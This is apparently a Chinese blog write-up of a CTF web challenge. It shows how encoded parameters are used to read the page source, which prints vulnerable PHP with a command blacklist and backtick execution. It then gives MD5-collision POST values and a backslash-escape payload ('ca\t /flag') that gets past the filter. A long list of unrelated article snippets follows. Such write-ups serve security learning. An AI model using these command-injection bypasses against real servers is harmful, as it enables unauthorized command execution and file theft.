夜幕下的灯火阑珊
夜幕下的灯火阑珊

[安洵杯 2019]easy_web

知识点

  • md5碰撞
  • 命令执行
  • 反斜杠逃逸

题目链接中出现

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

这个img两次base64解码后再转base16可以得到555.png
尝试将index.php进行base16编码和两次base64编码，得到

?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

得到源码


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "
";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

有md5碰撞，使用如下参数碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

使用dir命令扫当前文件夹，没发现flag，尝试读取根目录，发现flag文件
[安洵杯 2019]easy_web_第1张图片
cat命令被禁，注意到正则匹配

|\?|\\|\\\\|\n|实际上是|?|\|\\|\n|

此处反斜杠逃逸出来了
这里使用ca\t可以绕过，在linux下，ca\t命令同样也可以读取文件

?cmd=/bin/ca\t%20/flag

获取flag
[安洵杯 2019]easy_web_第2张图片

你可能感兴趣的:(md5碰撞,命令执行,逃逸)

  • RA让这个夜晚的天空更蓝 恭喜牛剑赛艇晚宴取得圆满成功！ 欧阳公知
    对于牛津和剑桥来说，每年春季都有一件大事那就是代表DarkBlue和LightBlue在泰晤士河的相会这场盛宴吸引着每个“牛人”和“剑人”的瞩目RA高跟鞋携手玛丽玫瑰西餐厅举办“蓝色之夜TheBoatRaceNight”FormalDinner邀请了这些“牛人”和“剑人”在这里相遇在比赛场上，你们是强劲的对手而在此刻，你们是一群有着共同爱好的最佳伙伴一起在享受着美酒、美食、和思想的碰撞。在RA高跟
  • 《黑神话·悟空》是用什么编程语言开发的? AI觉醒实战营
    《黑神话·悟空》：一场技术与文化的华丽碰撞最近，《黑神话·悟空》这款游戏可谓是火得一塌糊涂。作为被誉为中国第一款3A制作的单机游戏，它凭借惊艳的画面、流畅的战斗体验和深厚的文化内涵，不仅圈粉无数，连央视都为之点赞。但在这场视觉盛宴背后，有一个问题却鲜少被人关注：这款游戏到底是用什么编程语言开发的？“技术宅们，准备好开始一场编程语言的探秘之旅了吗？”揭秘游戏背后的技术内核根据游戏科学官网的信息，《黑
  • 时代巨变 莘享文化
    这是一个值得纪念的时刻三款app同时在这一天挑战微信霸主地位快播创始人王欣锤子科技罗永浩字节跳动张一鸣期待同时吸取着所有app的精华社交行业互联网行业的巨大变革思维的超速碰撞这个行业的巨变2019年这个时代你能否抓住
  • 任性和理性 村里灯花
    终于可以任性了一回也慢慢明白了违背自己的情感理性没有那么幸福快乐一直秉承的选择终于开始改变呢人生就是一场体验在我和世界和平相处前所有的碰撞纠结亦或是沉迷都是自我探索的一种方式一生都是自我的追逐如果明白了过去就更洒脱了平静下来让理性和感性在合适的地点相遇
  • 小说连载之《青诀》第五十九章 青城的春天短
    《青诀》导读：大青山莽莽风骨，狼烟腾历历青春。这是一部反映内蒙古人民铁血抗战的长篇巨著，这是一部诠释和平、反对战争永恒人性的声音乐章。激烈的人性碰撞，缠绵的异域恋情，吟青诀、唱河山，奏响了大青山英雄儿女的抗日赞歌。长篇抗日小说《青诀》连载作者：田彬第五十九章阴灵沟已面目全非。早先七高八低数也数不清的坟堆，现在都夷为平地了，取而代之的是一排排用石头砌起来的厂房和营房。日本鬼子十分聪明，把矿脉四周的岩
  • Java毕设项目汇总 - 1 - ssm框架+vue+源代码+论文等完整资料 逃逸的卡路里 毕设项目汇总java毕业设计java课程设计vue.js后端前端ssm毕业设计
    逃逸的卡路里博主介绍：✌️码农一枚|毕设布道师，专注于大学生项目实战开发、讲解和毕业文撰写修改等。✌️主要项目：小程序、SpringBoot、SSM、Vue、Java、Jsp等设计与开发。文末获取源码联系如需其他项目或毕设源码，可进主页看下往期的毕设资源分享哦，希望对您有帮助！（需要哪个课题可电脑按Ctrl+F键搜索关键字寻找）项目演示视频可联系博主获取，文末有添＋方式Java毕设项目-ssm框架
  • Redis常用数据结构常用命令总览 与你日常 redis数据库缓存
    命令查询传送门一，string类型Redis远程字典服务器（4）——string类型详解命令执行效果时间复杂度setkeyvalue[keyvalue...]设置key的值是valueO(k),k是键个数getkey获取key的值O(1)delkey[key...]删除指定的keyO(k),k是键个数msetkeyvalue[keyvalue...]批量设置指定的key和valueO(k),k是键
  • 古风言情 | 我惦念的人，岁岁平安，即使，生生不见。 徐子彧
    声明：不喜轻喷；创作不易，严禁二改二传。预告函：这是关于复仇侠女和残疾（可以治的那种！）公子的爱恨情仇。壹“快追，刺客往林子里跑了！”阵阵急促的脚步声，伴随着盔甲碰撞的沙沙声，犹如一群猛兽，追捕着谢岚。三年来的精心策划最终还是付之东流，谢岚还是无法替谢家三十三口人命报仇雪恨。无尽的绝望与悲恸蔓延开来，好似一双恶魔的手，紧紧地掐着她的喉咙，令人窒息。她的右臂上，有一道深深的刀伤，向外不停地渗血，一滴
  • vue2上传大文件到minio分片上传 zhou周大哥 vue.jsjavascriptecmascript
    项目中使用到的类库：spark-md5、axios、element-ui；npminstallspark-md5--Snpminstallaxios--S页面上传示例文件上传任务数：{{taskQueueRunningNum}}选择文件上传清空{{isPaused?'继续':'暂停'}}{{item.name}}{{transformByte(item.size)||item.size}}{{`$
  • ue5创建一个移动的actor学习笔记 sher_chang ue5学习笔记
    ue5创建一个移动的actor学习笔记包含如何创建一个actor，camera，controller，碰撞使用cpp创建一个自己的actor首先我们通过的是cpp文件来进行创建actor。首先需要做的是生成一个自己的cpp函数，那么这个actor就是自己定制的一个东西，我们给他使用这个类来实例化UStaticMeshComponentVisualMesh=CreateDefaultSubobjec
  • UE5学习笔记16-游戏模式中的一些事件，如何改变网格体和摄像头的碰撞 快下雨了L UE5ue5学习笔记
    一、OnPostLogIn：此事件在玩家成功登录游戏后被调用二、HandleStartingNuwplayer：在OnPostLogIn事件后被调用，可以用来定义新进入的玩家会发生什么三、SpawnDefaultPawnAtTransform：这个事件触发游戏中实际的Pawn生成四、OnLogout：当玩家离开游戏或被销毁时调用此事件五、OnRestartplayer：调用该事件来让玩家重生六、改
  • 小说连载之《青诀》第四十七章 青城的春天短
    《青诀》导读：大青山莽莽风骨，狼烟腾历历青春。这是一部反映内蒙古人民铁血抗战的长篇巨著，这是一部诠释和平、反对战争永恒人性的声音乐章。激烈的人性碰撞，缠绵的异域恋情，吟青诀、唱河山，奏响了大青山英雄儿女的抗日赞歌。长篇抗日小说《青诀》连载作者：田彬第四十七章范君义去飞鹰山，玉龙送出了村。护村队员已经换上了八路军军装，个个意气风发，三五成群在通往牛家村的大小路口上埋设地雷。范君义千叮万嘱说：“玉龙啊
  • Electron WebPreferences 远程命令执行漏洞（CVE-2018-15685） 小 白 萝 卜 vulhub漏洞复现安全
    漏洞背景GitHubElectron是美国GitHub公司的一个应用程序开发框架。该框架支持使用JavaScript、HTML和CSS编写跨平台桌面应用程序。GitHubElectron中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下版本受到影响：GitHubElectron1.7.15版本，1.8.7版本，2.0.7版本，3.0.0-beta.6版本。Electron在设置了nodeInte
  • 【git命令相关】git上传和删除文件步骤 hhhhhlt gitgithub
    （一）git登录1.gitbash窗口输入gitconfig--globaluser.name"你的Git账号"gitconfig--globaluser.Email"你的Git邮箱"2.生成密钥ssh-keygen-trsa-C"你的Git邮箱"在此命令执行的返回结果中找到key存放的位置，打开id_rsa.pub（用记事本打开较好），复制粘贴到github的设置界面的ssh配置当中（二）拉取项
  • Linux：Bash中的命令介绍（简单命令、管道以及命令列表） 日晨难再 Linuxlinux运维服务器
    相关阅读Linuxhttps://blog.csdn.net/weixin_45791458/category_12234591.html?spm=1001.2014.3001.5482在Bash中，命令执行的方式可以分为简单命令、管道和命令列表组成。这些结构提供了强大的工具，允许用户组合命令并精确控制其执行方式。以下是对这些Bash命令形式的介绍。1.、简单命令（SimpleCommands）简
  • 《深入剖析原型模式：浅克隆、深克隆与单例模式的碰撞》 Nonullpoint. 原型模式设计模式单例模式java
    3.原型模式一、引言在Java编程中，原型模式（Prototype）是一种创建对象的方式，通过拷贝原型实例来创建新的对象，为对象的创建提供了一种高效且灵活的途径。本文将详细探讨原型模式的概念、包含的角色、浅克隆与深克隆的实现，以及克隆对单例模式的影响和相应的解决办法。二、原型模式的定义原型模式是指原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。调用者不需要知道任何创建细节，不调用构造
  • 【Apache】漏洞 B1ackMa9ic apache网络安全web安全网络攻击模型
    文章目录Apache漏洞1.ApacheHTTPD多后缀解析漏洞2.ApacheSSI远程命令执行漏洞3.ApacheHTTP路径穿越漏洞4.ApacheHTTPSSRF漏洞5.Apachelog4j26.ApacheshiroApache漏洞1.ApacheHTTPD多后缀解析漏洞主要利用方式：文件类型欺骗：构造example.php.jpg的文件（只要一个文件含有.php后缀的文件即将被识别成
  • 导出文件系统（Centos/Ubuntu/Debian） 书里啥都有 centosubuntudebian
    创建用于存放文件系统的文件夹sudomkdirwenjianjia其中192.168.*.*是需要被保存的设备ip，这个命令执行后你会在文件夹中看到一个完整的文件系统[email protected].*.*:/wenjianjia其中bs是内存块的大小，count是内存块的个数，那么这个系统就要小于我们申请的空间大小（bs*count约为8G）sudoddif=/dev/zero
  • 跟着格鲁比来一场跨越时空的音乐之旅 筱娴
    书名：《蓝鹦鹉格鲁比科普故事——音乐之旅》时隔六年，周杰伦终于发新专辑了，主打歌《最伟大的作品》MV里周杰伦化身时空旅人带领乐迷，穿梭时空回到1920年代，在那里他们先后邂逅了马格利特、莫奈、徐志摩、常玉等艺术家。这首歌融合了众多音乐元素，有古典、有嘻哈，有饶舌，也有流行，汇聚了钢琴、小提琴等，这些元素相互碰撞出一首好听的歌曲，一上线就秒上热搜第一，服务器毫不意外地沦陷了。这，就是音乐的魅力。那，
  • 感恩日志 第【1975】天：（2021.06.08）星期二 22～37度 济南 山东慧恩贺守金
    1.感恩即墨于总精心安排，早起专程送我们，感恩黄岛苑总专程接我们，真被两位老板感动了，满满的幸福感！2.碰撞出灵感，交流出真知，感恩和贾总一起交流探讨！感恩苑总，贾总热情招待，专程送站。3.感恩太太做的可口晚餐，出差归来
  • npm install 报错解决记录 不知名靓仔 npm
    引言在使用Node.js和npm（NodePackageManager）进行项目开发的过程中，经常会遇到npminstall命令执行失败的情况。本文将总结一些常见的错误类型及其解决方案，帮助你在遇到这些问题时能够快速定位并解决问题。1.错误类型及解决方案1.1EACCES错误错误示例：1npmERR!path/usr/local/lib/node_modules/npm2npmERR!codeEA
  • 复盘活动的惊喜 徐立华
    今天在群里看到吴虹校长发布了21天共读会的复盘总结，心里感到一阵窃喜。我知道一场心灵的碰撞会再次开启。今天晚上我没有晚课，所以特别开心能够参加今晚的共读复盘活动。吴校简单总结了我们的共读活动，然后提出了三个问题：1.简单介绍一下自己。2.经过21天的共读活动，你发送了哪些改变？3.在这次共读活动中，你印象最深的事情是什么？之后吴校把今晚参加共读活动的所有老师进行随机分组，两人一组根据所给的三个问题
  • 《奇遇人生》赵立新白举纲冰岛体验慢生活 亲情讨论引热议 时尚生活大杂烩
    昨晚腾讯视频《奇遇人生》中，阿雅携手赵立新、白举纲开启冰岛之行，与当地艺术家合作，完成一件倾注其多年心血的艺术品。徒步冰川，夜逢极光，在世界尽头与自然碰撞，展开了一场关乎亲情与心灵的感悟之旅。梦幻风光不仅让赵立新、白举纲大呼不可思议，更让网友们惊叹“满眼都是外星球的味道！”“孤独星球”冰岛奇景征服观众冰岛极致的自然环境和气候让人类的力量显得渺小，也吸引了多部重量级影视剧在此拍摄。《权力的游戏》中的
  • 【阳光教室】 开启春天的记录 予你幸福时光
    一年前的春天，我们在校园中寻找春天，在自然中调动五官感受最真实的春天。这个春天，我们决定做这样一件美丽的事——记录春天万物的美好。图片发自App【合作教研碰撞灵感】全课程班级的每次课程都需要一个朴素而热烈的开启，富有仪式感的开启仪式会让孩子们从内心融入接下来很长一段时间要经历的课程。为了给孩子们设计一个特别而有趣的开启活动，曹校长与全课程二年级组的两位老师激烈讨论、集思广益，在集体备课教研中决定以
  • 2022年4月29日《纪律教育》培训总结 张燕燕+春蕾五幼 微笑_7771
    一、感受一个儿童的成长，任务很多，如认知与情感的发育，道德与公民性的成长，个性与社会性的协调，健康与安全意识，艺术与审美品位，兴趣与学业平衡等等，这些需要家庭和学校两方面合理完成。二、收获儿童的智力、情感等方面的发育主要经由家庭来实现，社会性和认知发展等方面则主要通过学校来完成，家庭教育和学校教育必须相辅相成。比如一个孩子，他在学校哪怕仅仅是和同学打一场篮球，除了表面上的碰撞和冲突，更多地领略到的
  • 火爆全网的瑞幸&茅台的联名营销——背后洞察 Easonlike
    最近这几天，朋友圈微博抖音等媒体，被茅台联名瑞幸的酱香拿铁刷屏了，大家的购买热情丝毫不亚于上次芬迪与喜茶的联名活动，甚至受众群体更加广泛，因为在中国，芬迪只能称得上轻奢品，而茅台才是实打实的白酒顶流。蒙牛和瑞幸两大消费行业龙头，一方是咖啡明星新秀，另一方是中国酱香酒领先品牌，两者的反差碰撞带来了不一样的营销玩法，值得回味分析。茅台背后的布局火爆的背后其实不难看出，茅台的策略意图在逐渐接地气化，包括
  • 关系的纠缠 w小郭
    关系越亲近，就越对对方的信赖感越强，从而期望就越高。但每个个体毕竟有自己的空间与个性，所以当关系亲近时，不可避免的产生摩擦，甚至碰撞。当亲近的关系，一旦碰撞超出一定的边界时，就会产生巨大的心理落差，从而由爱而变为恨。而且当这种裂痕产生后，很难弥补。信任后的伤害，往往会导致更深层次的裂痕。
  • 浅语 郭大牛
    图片发自App诗"望夏日长空，即为诗，虽然不在书页里。真正的诗，逃逸。"（艾米莉•狄金森）诗，跟语言一样古老，甚至更为古老。诗，是无声胜有声，是木叶无语纷纷落。诗，是两个默契的人说话，说着说着，进入沉默。"人，诗意地栖居"。诗是凡躯出生入死的本相，因而不妨说，每个人都是诗人，都默契于诗，虽然你常常忘了，因而也被遗忘。像暗夜中的北极光闪现，照亮虚空中的虚空，让无声者发声是诗人的天职。诗人体悟沉默，更
  • 高德地图SDK Android版开发 7 覆盖物示例1 程序喵D 高德地图Android开发android高德地图
    高德地图SDKAndroid版开发7覆盖物示例1前言界面布局MapMarker类常量成员变量初始值Marker点击事件Marker拖拽事件创建覆盖物移除覆盖物设置属性MapMarkerActivity类控件响应事件运行效果图前言文本介绍Marker的常用属性、交互和碰撞示例。示例功能如下：可设置Marker点击、拖拽、透明、旋转、可见、平贴属性状态；在地图上创建多个满足上述属性状态的Marker；
  • 深入解析Smarty SSTI 利用 Eileen Seligman 网络安全CTFSSTICTFSmarty
    SmartySmarty是基于PHP开发的，对于Smarty的SSTI的利用与常见的flask的SSTI有很大区别，了解过Jinjia2模板注入的应该知道，Jinjia2是基于python的，而Smarty是基于PHP的，所以使用起来还是比较容易地，我们只需要达到命令执行即可查看版本{$smarty.version}常用标签{php}Smarty支持使用{php}{/php}标签来执行被包裹其中地
  • LeetCode[Math] - #66 Plus One Cwind javaLeetCode题解AlgorithmMath
    原题链接：#66 Plus One   要求： 给定一个用数字数组表示的非负整数，如num1 = {1, 2, 3, 9}, num2 = {9, 9}等，给这个数加上1。 注意： 1. 数字的较高位存在数组的头上，即num1表示数字1239 2. 每一位（数组中的每个元素）的取值范围为0~9   难度：简单   分析： 题目比较简单，只须从数组
  • JQuery中$.ajax()方法参数详解 AILIKES JavaScriptjsonpjqueryAjaxjson
    url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。 type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和    delete也可以使用，但仅部分浏览器支持。 timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局
  • JConsole & JVisualVM远程监视Webphere服务器JVM Kai_Ge JVisualVMJConsoleWebphere
        JConsole是JDK里自带的一个工具，可以监测Java程序运行时所有对象的申请、释放等动作，将内存管理的所有信息进行统计、分析、可视化。我们可以根据这些信息判断程序是否有内存泄漏问题。 　　使用JConsole工具来分析WAS的JVM问题，需要进行相关的配置。 　　首先我们看WAS服务器端的配置. 　　1、登录was控制台https://10.4.119.18
  • 自定义annotation 120153216 annotation
    Java annotation 自定义注释@interface的用法 一、什么是注释      说起注释，得先提一提什么是元数据(metadata)。所谓元数据就是数据的数据。也就是说，元数据是描述数据的。就象数据表中的字段一样，每个字段描述了这个字段下的数据的含义。而J2SE5.0中提供的注释就是java源代码的元数据，也就是说注释是描述java源
  • CentOS 5/6.X 使用 EPEL YUM源 2002wmj centos
    CentOS 6.X 安装使用EPEL YUM源1. 查看操作系统版本[root@node1 ~]# uname -a Linux node1.test.com 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [root@node1 ~]#
  • 在SQLSERVER中查找缺失和无用的索引SQL 357029540 SQL Server
    --缺失的索引 SELECT  avg_total_user_cost * avg_user_impact * ( user_scans + user_seeks ) AS PossibleImprovement ,          last_user_seek ,    
  • Spring3 MVC 笔记（二） —json+rest优化 7454103 Spring3 MVC
    接上次的 spring mvc 注解的一些详细信息！                          其实也是一些个人的学习笔记  呵呵！
  • 替换“\”的时候报错Unexpected internal error near index 1 \ ^ adminjun java“\替换”
    发现还是有些东西没有刻子脑子里,,过段时间就没什么概念了,所以贴出来...以免再忘...   在拆分字符串时遇到通过 \ 来拆分，可是用所以想通过转义 \\ 来拆分的时候会报异常   public class Main {          /*
  • POJ 1035 Spell checker(哈希表) aijuans 暴力求解--哈希表
    /* 题意：输入字典，然后输入单词，判断字典中是否出现过该单词，或者是否进行删除、添加、替换操作，如果是，则输出对应的字典中的单词 要求按照输入时候的排名输出 题解：建立两个哈希表。一个存储字典和输入字典中单词的排名，一个进行最后输出的判重 */ #include <iostream> //#define using namespace std; const int HASH =
  • 通过原型实现javascript Array的去重、最大值和最小值 ayaoxinchao JavaScriptarrayprototype
    用原型函数（prototype）可以定义一些很方便的自定义函数，实现各种自定义功能。本次主要是实现了Array的去重、获取最大值和最小值。 实现代码如下：   <script type="text/javascript"> Array.prototype.unique = function() { var a = {}; var le
  • UIWebView实现https双向认证请求 bewithme UIWebViewhttpsObjective-C
              什么是HTTPS双向认证我已在先前的博文 ASIHTTPRequest实现https双向认证请求 中有讲述，不理解的读者可以先复习一下。本文是用UIWebView来实现对需要客户端证书验证的服务请求，网上有些文章中有涉及到此内容，但都只言片语，没有讲完全，更没有完整的代码，让人困扰不已。但是此知
  • NoSQL数据库之Redis数据库管理(Redis高级应用之事务处理、持久化操作、pub_sub、虚拟内存) bijian1013 redis数据库NoSQL
    3.事务处理         Redis对事务的支持目前不比较简单。Redis只能保证一个client发起的事务中的命令可以连续的执行，而中间不会插入其他client的命令。当一个client在一个连接中发出multi命令时，这个连接会进入一个事务上下文，该连接后续的命令不会立即执行，而是先放到一个队列中，当执行exec命令时，redis会顺序的执行队列中
  • 各数据库分页sql备忘 bingyingao oraclesql分页
    ORACLE 下面这个效率很低 SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_FS_RETURN order by id desc) A ) WHERE RN <20; 下面这个效率很高 SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_
  • 【Scala七】Scala核心一：函数 bit1129 scala
    1. 如果函数体只有一行代码，则可以不用写{},比如 def print(x: Int) = println(x) 一行上的多条语句用分号隔开，则只有第一句属于方法体，例如   def printWithValue(x: Int) : String= println(x); "ABC"   上面的代码报错，因为，printWithValue的方法
  • 了解GHC的factorial编译过程 bookjovi haskell
    GHC相对其他主流语言的编译器或解释器还是比较复杂的，一部分原因是haskell本身的设计就不易于实现compiler，如lazy特性，static typed，类型推导等。 关于GHC的内部实现有篇文章说的挺好，这里，文中在RTS一节中详细说了haskell的concurrent实现，里面提到了green thread，如果熟悉Go语言的话就会发现，ghc的concurrent实现和Go有点类
  • Java-Collections Framework学习与总结-LinkedHashMap BrokenDreams LinkedHashMap
            前面总结了java.util.HashMap，了解了其内部由散列表实现，每个桶内是一个单向链表。那有没有双向链表的实现呢？双向链表的实现会具备什么特性呢？来看一下HashMap的一个子类——java.util.LinkedHashMap。       
  • 读《研磨设计模式》-代码笔记-抽象工厂模式-Abstract Factory bylijinnan abstract
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ package design.pattern; /* * Abstract Factory Pattern * 抽象工厂模式的目的是： * 通过在抽象工厂里面定义一组产品接口，方便地切换“产品簇” * 这些接口是相关或者相依赖的
  • 压暗面部高光 cherishLC PS
    方法一、压暗高光&重新着色 当皮肤很油又使用闪光灯时，很容易在面部形成高光区域。 下面讲一下我今天处理高光区域的心得： 皮肤可以分为纹理和色彩两个属性。其中纹理主要由亮度通道（Lab模式的L通道）决定，色彩则由a、b通道确定。 处理思路为在保持高光区域纹理的情况下，对高光区域着色。具体步骤为：降低高光区域的整体的亮度，再进行着色。 如果想简化步骤，可以只进行着色（参看下面的步骤1
  • Java VisualVM监控远程JVM crabdave visualvm
    Java VisualVM监控远程JVM    JDK1.6开始自带的VisualVM就是不错的监控工具. 这个工具就在JAVA_HOME\bin\目录下的jvisualvm.exe, 双击这个文件就能看到界面   通过JMX连接远程机器, 需要经过下面的配置: 1. 修改远程机器JDK配置文件 (我这里远程机器是linux).    
  • Saiku去掉登录模块 daizj saiku登录olapBI
    1、修改applicationContext-saiku-webapp.xml <security:intercept-url pattern="/rest/**" access="IS_AUTHENTICATED_ANONYMOUSLY" />  <security:intercept-url pattern=&qu
  • 浅析 Flex中的Focus dsjt htmlFlexFlash
    关键字：focus、 setFocus、 IFocusManager、KeyboardEvent 焦点、设置焦点、获得焦点、键盘事件 一、无焦点的困扰——组件监听不到键盘事件 原因：只有获得焦点的组件（确切说是InteractiveObject）才能监听到键盘事件的目标阶段；键盘事件（flash.events.KeyboardEvent）参与冒泡阶段，所以焦点组件的父项（以及它爸
  • Yii全局函数使用 dcj3sjt126com yii
    由于YII致力于完美的整合第三方库，它并没有定义任何全局函数。yii中的每一个应用都需要全类别和对象范围。例如，Yii::app()->user;Yii::app()->params['name'];等等。我们可以自行设定全局函数，使得代码看起来更加简洁易用。(原文地址) 我们可以保存在globals.php在protected目录下。然后，在入口脚本index.php的，我们包括在
  • 设计模式之单例模式二（解决无序写入的问题） come_for_dream 单例模式volatile乱序执行双重检验锁
                    在上篇文章中我们使用了双重检验锁的方式避免懒汉式单例模式下由于多线程造成的实例被多次创建的问题，但是因为由于JVM为了使得处理器内部的运算单元能充分利用，处理器可能会对输入代码进行乱序执行（Out Of Order Execute）优化，处理器会在计算之后将乱序执行的结果进行重组，保证该
  • 程序员从初级到高级的蜕变 gcq511120594 框架工作PHPandroidhtml5
    软件开发是一个奇怪的行业，市场远远供不应求。这是一个已经存在多年的问题，而且随着时间的流逝，愈演愈烈。 我们严重缺乏能够满足需求的人才。这个行业相当年轻。大多数软件项目是失败的。几乎所有的项目都会超出预算。我们解决问题的最佳指导方针可以归结为——“用一些通用方法去解决问题，当然这些方法常常不管用，于是，唯一能做的就是不断地尝试，逐个看看是否奏效”。 现在我们把淫浸代码时间超过3年的开发人员称为
  • Reverse Linked List hcx2013 list
    Reverse a singly linked list.   /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode(int x) { val = x; } * } */ p
  • Spring4.1新特性——数据库集成测试 jinnianshilongnian spring 4.1
    目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
  • C# Ajax上传图片同时生成微缩图(附Demo) liyonghui160com
        1.Ajax无刷新上传图片,详情请阅我的这篇文章。（jquery + c# ashx）         2.C#位图处理  System.Drawing。         3.最新demo支持IE7,IE8,Fir
  • Java list三种遍历方法性能比较 pda158 java
    从c/c++语言转向java开发，学习java语言list遍历的三种方法，顺便测试各种遍历方法的性能，测试方法为在ArrayList中插入1千万条记录，然后遍历ArrayList，发现了一个奇怪的现象，测试代码例如以下： package com.hisense.tiger.list; import java.util.ArrayList; import java.util.Iterator;
  • 300个涵盖IT各方面的免费资源（上）——商业与市场篇 shoothao seo商业与市场IT资源免费资源
    A.网站模板+logo+服务器主机+发票生成 HTML5 UP:响应式的HTML5和CSS3网站模板。 Bootswatch:免费的Bootstrap主题。 Templated:收集了845个免费的CSS和HTML5网站模板。 Wordpress.org|Wordpress.com:可免费创建你的新网站。 Strikingly:关注领域中免费无限的移动优
  • localStorage、sessionStorage uule localStorage
    W3School 例子   HTML5 提供了两种在客户端存储数据的新方法： localStorage - 没有时间限制的数据存储 sessionStorage - 针对一个 session 的数据存储   之前，这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储，因为它们由每个对服务器的请求来传递，这使得 cookie 速度很慢而且效率也不
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他